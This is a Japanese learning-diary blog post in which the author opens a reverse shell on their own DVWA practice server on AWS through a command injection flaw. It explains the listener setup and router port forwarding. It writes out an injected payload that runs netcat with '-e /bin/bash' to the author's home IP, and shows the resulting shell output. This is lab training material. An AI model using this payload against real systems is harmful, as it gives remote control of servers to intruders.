連日投稿29日目。昨日のコマンドインジェクションで開けた穴を使い、今日はサーバーのシェルを乗っ取る「リバースシェル」をやってみる。
今回の目的
こちらに則り進めています。
昨日できたのは、DVWA(Web site)の脆弱性をついてコマンドが実行できるところまで。
今回は、その標的サーバー側から自分のPCにコネクションを接続させ、対話的なシェルを確立するところをゴールに据えてます。
これができると、サーバーを自由に操作できるようになる。はず。
このチャレンジについて
目的: セキュリティエンジニアとしての技術力向上
手段: シェルスクリプト作成を通じて学習
実施する事: 自動化,監視,ツール開発基礎学習など
目次
実行結果
まず、攻撃する側のPC(今回は自分のWindows)で接続を待ち受ける。
# PowerShell (Local Windows PC)
# とりあえずポート4444で接続を待つ
> ncat -lvp 4444
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
次に、DVWAでペイロードを投入。すると、待ち受けていたターミナルに接続が確立される。
(はずだった。DVWAが用意しているユーザアカウント(www-data)の権限の問題で、実際にはフォームからペイロードの挿入はできなかった。今回はシミュレーションを続行するために、ペイロードのコマンドをDVWAが稼働しているLinuxに直接ログインして打ち込むことで再現した。)
※直接ログインしたときに使うデフォのユーザ(ec2-user)と違って、www-dataだとncのあるパス(/usr/bin/nc)にアクセスできないと思われる。
# PowerShell (Local Windows PC)
> ncat -lvp 4444
...
# 接続が来た!IPアドレスは伏せておく
Ncat: Connection from XX.XXX.XXX.XXX.
# whoamiを打ってみる。サーバーのユーザー名が返ってきたら成功
whoami
www-data
# pwdでカレントディレクトリを確認
pwd
/var/www/html/vulnerabilities/exec
# よし、サーバーのシェルを奪取した。
実行環境
- クラウド環境: AWS EC2
- コンテナ技術: Docker
- 接続元(ローカルPC): Windows 11
- ターミナルソフト: PowerShell
- 接続先(サーバー): DVWA (DebianベースのDockerイメージ)
- 使用言語: Shell (bash)
- 外部ライブラリ: なし
- テスト対象: DVWA (Command Injection)
開発ステップ
-
リスナーの準備: 攻撃者PCで
ncatを使い、特定のポートで接続を待ち受ける。 - ペイロードの作成: 標的サーバーに実行させるリバースシェル用のコマンドを作成する。
- ネットワーク問題の解決: 標的(EC2)から攻撃者PC(自宅)へ接続するための経路(ポートフォワーディング)について検討する。
- ペイロードの投入と接続確認: DVWAの脆弱性を利用してペイロードを実行し、リスナー側でシェルが取得できることを確認する。
開発中の気づき
今日はコードそのものより、ネットワークの概念についてざっとおさらいが必要です。
-
ポートフォワーディングの壁:
- 最初、自分のローカルIPを使おうとして「いや、届くわけないか」と気づく。標的はパブリックなEC2、自分はNATの内側。よくよく考えたらそりゃそうか。
- 解決策はルーターのポートフォワーディング。外部から自宅のグローバルIPの特定ポートに来た通信を、PCに転送する設定。正直ここで一番困ってた。この設定ができないと、外からの接続は全部ルーターに捨てられちゃう。
-
ペイロードの
-e /bin/bashってなんぞ:-
nc <IP> <PORT> -e /bin/bashの-eオプションが何をしているのか、深く調べた。 -
netcatに「接続したら、/bin/bashを実行しろ」と命令し、その入出力を全部ネットワーク越しにこっちに持ってきてくれる。なるほど、と思った。これがあるから、ただのパイプ役じゃなくて、対話的なシェルが手に入るんだな~と。
-
-
-eオプションの存在意義:- 「これ、攻撃者専用オプションでは?そもそもコマンドを送れるような仕組みなんて作るなよ」と思ったけど、元々はSSH何かが主流になる前の、信頼できるNW内で管理者が使うためのデバッグ機能だったらしい。認証も暗号化もないから、今どき使うのは危険だけど。
コード全文
今回の挑戦で鍵となったコマンドは以下の2つ。
1. 攻撃者PC(リスナー)側のコマンド:
ncat -lvp 4444
2. 被害者サーバー(DVWA)で実行させるペイロード:
# YOUR_GLOBAL_IPは実際のグローバルIPアドレスに置き換える
127.0.0.1 && nc YOUR_GLOBAL_IP 4444 -e /bin/bash
コードの詳細な解説
-
ncat -lvp 4444-
-l: Listenモード。接続を待ち受ける。 -
-v: 詳細表示。接続元のIPなどがわかるのでデバッグに便利。 -
-p 4444: Port 4444番で待ち受ける。
-
-
... && nc YOUR_GLOBAL_IP 4444 -e /bin/bash-
&&: 前のコマンドが成功したら、後ろのコマンドを実行する。 -
nc YOUR_GLOBAL_IP 4444: 自分のPC(グローバルIP)のポート4444に接続を開始する。 -
-e /bin/bash: これが核。 接続後、サーバー上で/bin/bashを起動し、その入出力をすべてネットワーク経由で転送する。
-
実行方法
- ポートフォワーディング設定: 自宅ルーターで、外部からのTCP:4444へのアクセスを、自分のPCのローカルIPに転送する。
-
リスナー起動: 自分のPCで
ncat -lvp 4444を実行する。 - ペイロード投入: DVWAの画面で、IPを書き換えたペイロードを投入(本来は!今回はシミュレーション)し、実行する。
-
接続確認: リスナー側に接続が来て、
whoamiなどのコマンドが打てれば成功。
まとめ
今日の挑戦で、フェーズが「偵察」から「侵入」へとはっきりと移行した。シェルを確保することは、サーバーを「自分のものにした」っていうか「やったったわ」感がある。同時に、ポートフォワーディングのようなネットワークの基礎知識も大事だなと。明日はこのシェルを使って、サーバー内部の探索をする。